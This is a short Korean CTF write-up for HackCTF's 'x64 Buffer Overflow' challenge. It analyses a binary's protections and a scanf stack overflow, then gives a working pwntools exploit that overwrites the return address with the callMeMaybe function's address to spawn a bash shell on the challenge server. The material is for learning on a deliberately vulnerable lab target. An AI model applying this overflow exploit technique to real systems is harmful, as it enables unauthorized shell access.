Wargame/HackCTF
x64 Buffer Overflow
Anatis
2021. 3. 16. 10:06

1. Mitigatioin

보호기법은 Full RELRO, NX enabled로 되어있다. GOT Overwrite는 불가능하다...
2. 문제 확인

입력을 받을 수 있고 입력을 받으면 Hello 문자열과 입력받은 문자열이 출력된다. 이제 프로그램을 분석해 보자.
3. 풀이


메인 함수 영역을 보면 scanf로 입력을 받는다 s와 ebp의 거리는 272만큼 떨어져있다. 그리고 입력받은 문자열을 출력해준다.
callMeMaybe 함수를 보면 execve("/bin/bash")을 실행시켜주는데 callMeMaybe 함수 주소로 조작해야 할거 같다.
exploit
from pwn import *
r = remote('ctf.j0n9hyun.xyz', 3004)
elf = ELF('./64bof_basic')
shell = elf.symbols['callMeMaybe']
log.info('callMeMaybe = ' + hex(shell))
payload = 'A'*280
payload += p64(shell)
r.sendline(payload)
r.interactive()
